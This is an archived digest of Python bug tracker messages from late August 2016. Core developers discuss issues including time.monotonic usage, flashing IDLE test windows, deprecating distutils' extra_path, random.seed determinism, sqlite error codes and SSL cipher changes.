<1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za> Message-ID: <1472666345.92.0.841073037287.issue27917@psf.upfronthosting.co.za> Matthias Klose added the comment: hmm, should the android api level be part of the platform triplet? or are these not relevant for modules? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:01:51 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 31 Aug 2016 18:01:51 +0000 Subject: [issue27916] Use time.monotonic instead of time.time where appropriate In-Reply-To: <1472665489.29.0.443775135144.issue27916@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: asyncio already uses monotonic. The only place patched is a test utility and I don't care either way. But I do think this is not a good patch to do in general. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:02:46 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 18:02:46 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472666566.67.0.76112370677.issue27918@psf.upfronthosting.co.za> Xiang Zhang added the comment: For your reference, the root.update is introduced in issue22770. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:06:31 2016 From: report at bugs.python.org (Zachary Ware) Date: Wed, 31 Aug 2016 18:06:31 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472666791.26.0.895801040001.issue27918@psf.upfronthosting.co.za> Zachary Ware added the comment: The order of the checks in support.requires{,_resource} should be reversed: check if the resource is enabled, then check for gui availability if the resource in question is 'gui'. ---------- nosy: +zach.ware _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:09:09 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 18:09:09 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472666949.89.0.133116667304.issue27918@psf.upfronthosting.co.za> Xiang Zhang added the comment: I tried that, no help to this thread, but I think that is better. root.update itself draws something on the screen. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:12:16 2016 From: report at bugs.python.org (Xiang Zhang) Date: Wed, 31 Aug 2016 18:12:16 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472667136.22.0.680784621175.issue27918@psf.upfronthosting.co.za> Xiang Zhang added the comment: Ahh, sorry. I misunderstand your message. Just ignore my last one. Really sorry for making noise. Your suggestion makes sense I think. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:14:29 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Wed, 31 Aug 2016 18:14:29 +0000 Subject: [issue27917] Choose platform triplets for android builds In-Reply-To: <1472664182.04.0.808044107664.issue27917@psf.upfronthosting.co.za> Message-ID: <1472667269.28.0.794359634841.issue27917@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: In Android NDK, each API level comes with a different set of header files ($ANDROID_NDK/platforms/android-$ANDROID_API_LEVEL/arch-$ARCH/usr/include). In a strict sense, the API level should be included in platform triplet. At least the plat-* directory has different contents in different API levels. In practical, I haven't seen such a usage. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:22:20 2016 From: report at bugs.python.org (Chi Hsuan Yen) Date: Wed, 31 Aug 2016 18:22:20 +0000 Subject: [issue23968] rename the platform directory from plat-$(MACHDEP) to plat-$(PLATFORM_TRIPLET) In-Reply-To: <1429124647.47.0.946423694262.issue23968@psf.upfronthosting.co.za> Message-ID: <1472667740.4.0.218935306868.issue23968@psf.upfronthosting.co.za> Chi Hsuan Yen added the comment: Well changes in this issue are not the root cause of my problem - it just exposes a broken implementation done long time ago. I'll examine more and open a new bug. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:22:46 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 18:22:46 +0000 Subject: [issue27916] Use time.monotonic instead of time.time where appropriate In-Reply-To: <1472658676.29.0.976088579174.issue27916@psf.upfronthosting.co.za> Message-ID: <1472667766.22.0.279097392675.issue27916@psf.upfronthosting.co.za> Ville Skytt? added the comment: It is not a wholesale search and replace, I have checked each change. There are a lot of places in the tree where monotonic is not appropriate, and those should not be included in the patch. But there is always the possibility that I've missed something, and it's good that there are reviewers. Granted, some of the changes in this patch might not make a big difference, but they should not hurt either. To me, using monotonic is the right thing to use when dealing with time differences/delays, unless one needs an actual predictable time value anchored at the epoch at the same time for some other purposes. I don't of course insist on that point of view, and would be interested to hear other opinions and if someone can point out flaws/dangers in mine. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:31:52 2016 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 31 Aug 2016 18:31:52 +0000 Subject: [issue27916] Use time.monotonic instead of time.time where appropriate In-Reply-To: <1472667766.22.0.279097392675.issue27916@psf.upfronthosting.co.za> Message-ID: Guido van Rossum added the comment: I mostly adhere to the rule of thumb "if it ain't broke, don't fix it". So I would only endorse such changes if they address actual pain, rather than possible pain. Note that that rule of thumb was born out of worry about another possible pain: the observation that some fraction of well-intentioned fixes actually break something unanticipated. An (imagined) example in this case: if someone mocks time.time() in a unit test, your fix *might* break their test. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 14:52:11 2016 From: report at bugs.python.org (=?utf-8?q?Ville_Skytt=C3=A4?=) Date: Wed, 31 Aug 2016 18:52:11 +0000 Subject: [issue27916] Use time.monotonic instead of time.time where appropriate In-Reply-To: <1472658676.29.0.976088579174.issue27916@psf.upfronthosting.co.za> Message-ID: <1472669531.1.0.806480606206.issue27916@psf.upfronthosting.co.za> Ville Skytt? added the comment: Thanks for the explanation, understood. However, I don't think it would be terribly difficult to demonstrate that these changes do address actual pains(*) in the situations they're supposed to address them. And the pains in question might in real world occur quite rarely, unexpectedly, and take some time/cost to debug and reproduce, which is why it would be good to be able to preemptively address them. (*) For some values of "pain" -- many of the changes here are just for outputting nice-to-know timing information. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 15:06:14 2016 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 31 Aug 2016 19:06:14 +0000 Subject: [issue27919] Deprecate and remove extra_path distribution kwarg Message-ID: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za> New submission from Jason R. Coombs: extra_path is implicated in [this failure](https://github.com/jaraco/rwt/issues/7) and in general in any attempt to install to a path in PYTHONPATH that's not in site-packages. For example: $ python -m pip install -t foo newrelic Collecting newrelic Installing collected packages: newrelic Successfully installed newrelic $ ls foo newrelic-2.68.0.50 newrelic-2.68.0.50.dist-info newrelic.pth $ PYTHONPATH=foo python -c "import newrelic" Traceback (most recent call last): File "", line 1, in ImportError: No module named 'newrelic' As a result, extra_path (undocumented per issue901727) causes disruption in tools like rwt, and gives the packager the ability to break the convention for installing the package, relying on .pth files which only work in select locations. I suggest we deprecate extra_path. ---------- components: Distutils messages: 274060 nosy: dstufft, eric.araujo, jason.coombs priority: normal severity: normal status: open title: Deprecate and remove extra_path distribution kwarg type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 15:10:44 2016 From: report at bugs.python.org (Jason R. Coombs) Date: Wed, 31 Aug 2016 19:10:44 +0000 Subject: [issue27919] Deprecate and remove extra_path distribution kwarg In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za> Message-ID: <1472670644.85.0.393322269987.issue27919@psf.upfronthosting.co.za> Jason R. Coombs added the comment: Nick, what's your instinct regarding this issue? ---------- nosy: +ncoghlan _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 15:33:47 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 31 Aug 2016 19:33:47 +0000 Subject: [issue27919] Deprecate and remove extra_path distribution kwarg In-Reply-To: <1472670374.61.0.857588658064.issue27919@psf.upfronthosting.co.za> Message-ID: <1472672027.15.0.50705384484.issue27919@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +brett.cannon _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 15:35:50 2016 From: report at bugs.python.org (Divyansh Khattak) Date: Wed, 31 Aug 2016 19:35:50 +0000 Subject: [issue27920] Embedding python in a shared library fails to import the Python module Message-ID: <1472672150.5.0.175635801824.issue27920@psf.upfronthosting.co.za> New submission from Divyansh Khattak: I am having the same error as described by https://bugs.python.org/issue19153 and http://bugs.python.org/issue4434. My shared library is unable to import the Python module I created. I am attaching my C file which calls the python function Rough.py, whose code is written as under: import math def WallRough(*wss): size=len(wss) result=[0 for i in range(size)] for i in range(size): wss_mag=math.sqrt(wss[i][0]*wss[i][0]+wss[i][1]*wss[i][1]+wss[i][2]*wss[i][2]) result[i]=1 return result ---------- components: Build files: pystack.c messages: 274062 nosy: suzaku priority: normal severity: normal status: open title: Embedding python in a shared library fails to import the Python module type: behavior versions: Python 3.4 Added file: http://bugs.python.org/file44305/pystack.c _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 15:37:41 2016 From: report at bugs.python.org (Divyansh Khattak) Date: Wed, 31 Aug 2016 19:37:41 +0000 Subject: [issue27920] Embedding python in a shared library fails to import the Python module In-Reply-To: <1472672150.5.0.175635801824.issue27920@psf.upfronthosting.co.za> Message-ID: <1472672261.94.0.275046869498.issue27920@psf.upfronthosting.co.za> Divyansh Khattak added the comment: I am having the same error as described by https://bugs.python.org/issue19153 and http://bugs.python.org/issue4434. My shared library is unable to import the Python module I created. I am attaching my C file which calls the python function Rough.py, whose code is written as under: import math def WallRough(*wss): size=len(wss) result=[0 for i in range(size)] for i in range(size): wss_mag=math.sqrt(wss[i][0]*wss[i][0]+wss[i][1]*wss[i][1]+wss[i][2]*wss[i][2]) result[i]=1 return result I am using the following for compilation and linking: gcc -fPIC *.c -I-I/usr/local/include -I/usr/local/include -I/usr/local/include/python3.4m -I/usr/local/include/python3.4m -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes -DDOUBLE_PRECISION -L/usr/local/lib -lpthread -ldl -lutil -lm -lpython3.4m -Xlinker -export-dynamic /usr/local/lib/libpython3.4m.so /usr/local/lib/libpython3.4m.a -shared -o librough30.so ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:03:45 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Wed, 31 Aug 2016 20:03:45 +0000 Subject: [issue16379] SQLite error code not exposed to python In-Reply-To: <1351764878.68.0.13361347428.issue16379@psf.upfronthosting.co.za> Message-ID: <1472673825.74.0.229784250524.issue16379@psf.upfronthosting.co.za> Aviv Palivoda added the comment: Attached is a new patch with the encoding problem fixed. ---------- Added file: http://bugs.python.org/file44306/16379-2.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:10:58 2016 From: report at bugs.python.org (Christian Heimes) Date: Wed, 31 Aug 2016 20:10:58 +0000 Subject: [issue27866] ssl: get list of enabled ciphers In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za> Message-ID: <1472674258.73.0.32003660963.issue27866@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- dependencies: +Make OpenSSL module compatible with OpenSSL 1.1.0 keywords: +patch Added file: http://bugs.python.org/file44307/Add-SSLContext.get_ciphers.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:11:08 2016 From: report at bugs.python.org (Christian Heimes) Date: Wed, 31 Aug 2016 20:11:08 +0000 Subject: [issue27866] ssl: get list of enabled ciphers In-Reply-To: <1472210954.34.0.734962882785.issue27866@psf.upfronthosting.co.za> Message-ID: <1472674268.55.0.737527218791.issue27866@psf.upfronthosting.co.za> Changes by Christian Heimes : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:12:15 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Wed, 31 Aug 2016 20:12:15 +0000 Subject: [issue24139] Use sqlite3 extended error codes In-Reply-To: <1430990375.51.0.367829317248.issue24139@psf.upfronthosting.co.za> Message-ID: <1472674335.07.0.566473474576.issue24139@psf.upfronthosting.co.za> Aviv Palivoda added the comment: > Are the changes in the other ticket needed to implement new tests? > Or is it possible to include tests here? It is not possible to add any tests to this issue before exposing the error code. I will implement new tests when issue 16379 will be resolved. > Aviv the patch makes in itself. I think that this issue should be dependent on issue 16379 as the behavior of the sqlite module will no be changed after this patch until issue 16379 is resolved. In addition there will be some "rebase" issues that will need to be solved. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:13:45 2016 From: report at bugs.python.org (Nofar Schnider) Date: Wed, 31 Aug 2016 20:13:45 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1472674425.78.0.0460285881515.issue27706@psf.upfronthosting.co.za> Nofar Schnider added the comment: Adding the patch with seed fix for version=1 and tests (test_random). ---------- components: +Tests keywords: +patch versions: +Python 3.5 -Python 2.7 Added file: http://bugs.python.org/file44308/issue27706.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:33:23 2016 From: report at bugs.python.org (STINNER Victor) Date: Wed, 31 Aug 2016 20:33:23 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1472675603.25.0.49369092566.issue27706@psf.upfronthosting.co.za> STINNER Victor added the comment: Nofar Schnider: "versions: + Python 3.5, - Python 2.7" I don't get it. This issue is specific to Python 2.7, no? > issue27706.patch If you want to backport this feature from Python 3, I suggest to reuse the same code (so SHA 512). You might get the same random sequences on Python 2 and Python 3, but I don't think that it's matter :-) It's just that I expect that SHA-512 keeps more bits of entropy, than Python 2 hash function. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:38:14 2016 From: report at bugs.python.org (Aviv Palivoda) Date: Wed, 31 Aug 2016 20:38:14 +0000 Subject: [issue27881] Fix possible bugs when setting sqlite3.Connection.isolation_level In-Reply-To: <1472325689.42.0.337900232121.issue27881@psf.upfronthosting.co.za> Message-ID: <1472675894.93.0.798641034332.issue27881@psf.upfronthosting.co.za> Aviv Palivoda added the comment: Xiang what do you think about changing the isolation_levels list to begin_statements list: static const char * const begin_statements[] = {"BEGIN", "BEGIN DEFERRED", "BEGIN IMMEDIATE", "BEGIN EXCLUSIVE", NULL}; This change will allow you to remove all the strings concatenations and the malloc/free. ---------- nosy: +palaviv _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:44:54 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 31 Aug 2016 20:44:54 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1472676294.78.0.729384752928.issue27706@psf.upfronthosting.co.za> Raymond Hettinger added the comment: For 2.7, we're going to add a note to the docs. For 3.5 and 3.6, we're adjusting the version==1 logic to meet the documented guarantee. ---------- versions: +Python 2.7, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 16:46:30 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Wed, 31 Aug 2016 20:46:30 +0000 Subject: [issue27918] Running test suites without gui but still having windows flash In-Reply-To: <1472665002.34.0.0850471901825.issue27918@psf.upfronthosting.co.za> Message-ID: <1472676390.09.0.58127956829.issue27918@psf.upfronthosting.co.za> Terry J. Reedy added the comment: To my surprise, "python -m test test_idle" gives a single flash in Windows. #22770 modified /Lib/test/support/__init__.py and added the creation and packing of a Label. Those two lines are gone in repository 3.6 but the flash is still there, I added root.withdraw() at line 469 and the flash is gone. try: from tkinter import Tk root = Tk() root.withdraw() root.update() root.destroy() I added a Label packing back and the flash is still gone here. > "use test.support.import_module with no reason " ??? I used import_module in test_idle because I was told to and had to to prevent inappropriate test failures. Please explain what you mean. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:01:13 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 31 Aug 2016 21:01:13 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472677273.2.0.831975112316.issue27850@psf.upfronthosting.co.za> Steve Dower added the comment: How can I test that the ciphers are available? Our Windows build of OpenSSL (managed by us) does not necessarily include everything and I honestly don't know an easy way to ensure that ChaCha20 has actually been built in. It doesn't look like there are any link-time references. Everything built fine for me against 3.6, so I'm assuming there's some Python code I can run to make sure it's actually there? ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:03:49 2016 From: report at bugs.python.org (Christian Heimes) Date: Wed, 31 Aug 2016 21:03:49 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472677429.48.0.131049586501.issue27850@psf.upfronthosting.co.za> Christian Heimes added the comment: My time machine strikes again: #27866 introduces a new method to get all enabled ciphers. ChaCha20 needs either LibreSSL, OpenSSL 1.1.0 or OpenSSL 1.0.2 with an extra patch. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:07:47 2016 From: report at bugs.python.org (Steve Dower) Date: Wed, 31 Aug 2016 21:07:47 +0000 Subject: [issue27850] Remove 3DES from cipher list (sweet32 CVE-2016-2183) In-Reply-To: <1472046228.4.0.176948453237.issue27850@psf.upfronthosting.co.za> Message-ID: <1472677667.42.0.955618880626.issue27850@psf.upfronthosting.co.za> Steve Dower added the comment: Just found and added that :) Guessing one of the 'name' fields will show it? If so, looks like all the Windows builds will be missing it. I'm assuming that doesn't block this change. We should have a separate task to change the Windows build to use 1.1.0 I guess (currently it's 1.0.2). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:15:41 2016 From: report at bugs.python.org (Nofar Schnider) Date: Wed, 31 Aug 2016 21:15:41 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1472678141.26.0.440232201522.issue27706@psf.upfronthosting.co.za> Nofar Schnider added the comment: fixed indentation ---------- versions: -Python 2.7 Added file: http://bugs.python.org/file44309/issue27706.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:29:22 2016 From: report at bugs.python.org (Ethan Furman) Date: Wed, 31 Aug 2016 21:29:22 +0000 Subject: [issue26051] Non-data descriptors in pydoc In-Reply-To: <1452295309.05.0.476253695659.issue26051@psf.upfronthosting.co.za> Message-ID: <1472678962.61.0.713580764584.issue26051@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:48:11 2016 From: report at bugs.python.org (Johannes S.) Date: Wed, 31 Aug 2016 21:48:11 +0000 Subject: [issue26971] python v3.5.1: sys.paths not respecting DESTDIRS and DESTSHARED In-Reply-To: <1462628482.0.0.926875224828.issue26971@psf.upfronthosting.co.za> Message-ID: <1472680091.93.0.345602564095.issue26971@psf.upfronthosting.co.za> Johannes S. added the comment: Sorry that I haven't answered for a long time. I would like to get an email notification but I don't know whether/how I can enable it. On "my instance of Linux SuSE", the lines are locking like this: CONFIG_ARGS=' '\''--prefix=/some/dir'\''' libdir='${exec_prefix}/lib64' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 17:58:02 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 21:58:02 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <20160831215738.14011.40767.B6A8A7CC@psf.io> Roundup Robot added the comment: New changeset 1f37903e6040 by Raymond Hettinger in branch '2.7': Issue #27706: Document that random.seed() is non-deterministic when PYTHONHASHSEED is enabled https://hg.python.org/cpython/rev/1f37903e6040 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 18:01:42 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 22:01:42 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <20160831220133.31412.99925.55043E5E@psf.io> Roundup Robot added the comment: New changeset 5ae941fef3be by Raymond Hettinger in branch '3.5': Issue #27706: Fix regression in random.seed(somestr, version=1) https://hg.python.org/cpython/rev/5ae941fef3be ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 18:07:06 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Wed, 31 Aug 2016 22:07:06 +0000 Subject: [issue27706] Random.seed, whose purpose is purportedly determinism, behaves non-deterministically with strings due to hash randomization In-Reply-To: <1470615314.72.0.24682085223.issue27706@psf.upfronthosting.co.za> Message-ID: <1472681226.02.0.841388025591.issue27706@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- resolution: -> fixed status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 19:37:44 2016 From: report at bugs.python.org (Roundup Robot) Date: Wed, 31 Aug 2016 23:37:44 +0000 Subject: [issue27891] Consistently group and sort imports within idlelib modules. In-Reply-To: <1472521619.5.0.761842088013.issue27891@psf.upfronthosting.co.za> Message-ID: <20160831233741.52817.96219.507E592F@psf.io> Roundup Robot added the comment: New changeset 28ce37a2d888 by Terry Jan Reedy in branch 'default': Issue #27891: Tweak new idlelib README entry. https://hg.python.org/cpython/rev/28ce37a2d888 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 19:49:40 2016 From: report at bugs.python.org (Eric V. Smith) Date: Wed, 31 Aug 2016 23:49:40 +0000 Subject: [issue27921] f-strings: do not allow backslashes Message-ID: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za> New submission from Eric V. Smith: See https://mail.python.org/pipermail/python-dev/2016-August/145979.html for details. PEP 498 is going to be changed to disallow backslashes inside braces (the expression portions of an f-string). However, I can't get that change done in time for 3.6 beta 1. So, this bug will disallow any backslashes in f-strings. Before the next beta, I'll implement the correct behavior. This is a breaking change: f-strings like f'\\t{3}' which worked in 3.6 alphas will not work in 3.6 beta 1, but will work in beta 2. f-strings like f'{\'x\'}' which worked in 3.6 alphas, will not work in any beta or release version of 3.6. ---------- assignee: eric.smith components: Interpreter Core messages: 274079 nosy: eric.smith, ned.deily priority: release blocker severity: normal status: open title: f-strings: do not allow backslashes type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 20:24:18 2016 From: report at bugs.python.org (Raymond Hettinger) Date: Thu, 01 Sep 2016 00:24:18 +0000 Subject: [issue26051] Non-data descriptors in pydoc In-Reply-To: <1452295309.05.0.476253695659.issue26051@psf.upfronthosting.co.za> Message-ID: <1472689458.37.0.564710209996.issue26051@psf.upfronthosting.co.za> Changes by Raymond Hettinger : ---------- nosy: +rhettinger priority: normal -> low type: -> enhancement versions: -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 20:33:36 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 01 Sep 2016 00:33:36 +0000 Subject: [issue27922] Make IDLE tests less flashy Message-ID: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za> New submission from Terry J. Reedy: This issue follows-up on #27732, which suppressed beeps during IDLE tests, I want to also suppress the flashing of tk widget boxes, which has become visually obnoxious with the increasing number of tests. Adding root.withdraw() after root = Tk() solves the problem for all current tests. For test_textview, this requires the fix of a bad cleanup call and addition of another. It appears that the textview toplevels must be destroyed before the cleanup call to root.update_idletasks() or else they are made visible. The idletasks call is needed to avoid '''can't invoke "event" command''' (even with all toplevels gone). The backports will have fewer changes because there are fewer tests. ---------- assignee: terry.reedy components: IDLE files: flashy.diff keywords: patch messages: 274080 nosy: terry.reedy priority: normal severity: normal stage: needs patch status: open title: Make IDLE tests less flashy type: enhancement versions: Python 2.7, Python 3.5, Python 3.6 Added file: http://bugs.python.org/file44310/flashy.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 20:40:34 2016 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 01 Sep 2016 00:40:34 +0000 Subject: [issue27921] f-strings: do not allow backslashes In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za> Message-ID: <1472690434.0.0.9791456563.issue27921@psf.upfronthosting.co.za> Changes by Eric V. Smith : ---------- stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 20:41:30 2016 From: report at bugs.python.org (Eric V. Smith) Date: Thu, 01 Sep 2016 00:41:30 +0000 Subject: [issue27921] f-strings: do not allow backslashes In-Reply-To: <1472687380.69.0.18258745604.issue27921@psf.upfronthosting.co.za> Message-ID: <1472690490.61.0.908615668911.issue27921@psf.upfronthosting.co.za> Changes by Eric V. Smith : ---------- keywords: +patch Added file: http://bugs.python.org/file44311/27921.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 20:41:55 2016 From: report at bugs.python.org (Terry J. Reedy) Date: Thu, 01 Sep 2016 00:41:55 +0000 Subject: [issue27922] Make IDLE tests less flashy In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za> Message-ID: <1472690515.2.0.380084768611.issue27922@psf.upfronthosting.co.za> Terry J. Reedy added the comment: This is also a follow-up to #27918. Importing test.support causes a flash in the process of testing whether tkinter/tk work. So I was never able to get IDLE tests to completely stop flashing. Adding 'root.withdraw' to test.support.__init__ solves the import flash, and with that fix, individual IDLE tests and test_idle no longer flash. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 20:56:20 2016 From: report at bugs.python.org (Elias Zamaria) Date: Thu, 01 Sep 2016 00:56:20 +0000 Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences Message-ID: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za> New submission from Elias Zamaria: This is my attempt at implementing PEP 467. I am not an expert in the details of the Python interpreter, and this is my first time working on a big project in C, so I am not sure if I am doing things in the most elegant or efficient way, but it seems to work fine, as far as I can tell. I have added some tests for the new functionality. I am planning to work on changes to the documentation some time in the next few days. I noticed a lot of places that are using the deprecated integer-argument bytes and bytearray constructors. I left most of them alone, although I changed a few of them to the zeros constructors to prevent certain tests from failing. ---------- components: Interpreter Core files: pep467.patch keywords: patch messages: 274082 nosy: mikez302 priority: normal severity: normal status: open title: PEP 467 -- Minor API improvements for binary sequences type: enhancement versions: Python 3.6 Added file: http://bugs.python.org/file44312/pep467.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:02:06 2016 From: report at bugs.python.org (Ethan Furman) Date: Thu, 01 Sep 2016 01:02:06 +0000 Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za> Message-ID: <1472691726.89.0.665071254058.issue27923@psf.upfronthosting.co.za> Changes by Ethan Furman : ---------- nosy: +ethan.furman _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:09:21 2016 From: report at bugs.python.org (Roundup Robot) Date: Thu, 01 Sep 2016 01:09:21 +0000 Subject: [issue27922] Make IDLE tests less flashy In-Reply-To: <1472690016.39.0.67314028817.issue27922@psf.upfronthosting.co.za> Message-ID: <20160901010917.12959.86215.EDC2A701@psf.io> Roundup Robot added the comment: New changeset bf0cb86c6219 by Terry Jan Reedy in branch '2.7': Issue #27922: IDLE tests no longer flash tk widgets. https://hg.python.org/cpython/rev/bf0cb86c6219 New changeset ff3a6303c5b1 by Terry Jan Reedy in branch '3.5': Issue #27922: IDLE tests no longer flash tk widgets. https://hg.python.org/cpython/rev/ff3a6303c5b1 New changeset fc711879c64a by Terry Jan Reedy in branch 'default': Issue #27922: IDLE tests no longer flash tk widgets (Merge 3.5). https://hg.python.org/cpython/rev/fc711879c64a ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed Aug 31 21:18:06 2016 From: report at bugs.python.org (Elias Zamaria) Date: Thu, 01 Sep 2016 01:18:06 +0000 Subject: [issue27923] PEP 467 -- Minor API improvements for binary sequences In-Reply-To: <1472691379.75.0.669592694643.issue27923@psf.upfronthosting.co.za> Message-ID: <1472692686.55.0.474537820592.issue27923@psf.upfronthosting.co.za> Elias Zamaria added the comment: Here is a patch with some changes to the docs. I don't know if the descriptions are good enough, but it should hopefully identify what parts of the docs need to be changed. ---------- Added file: 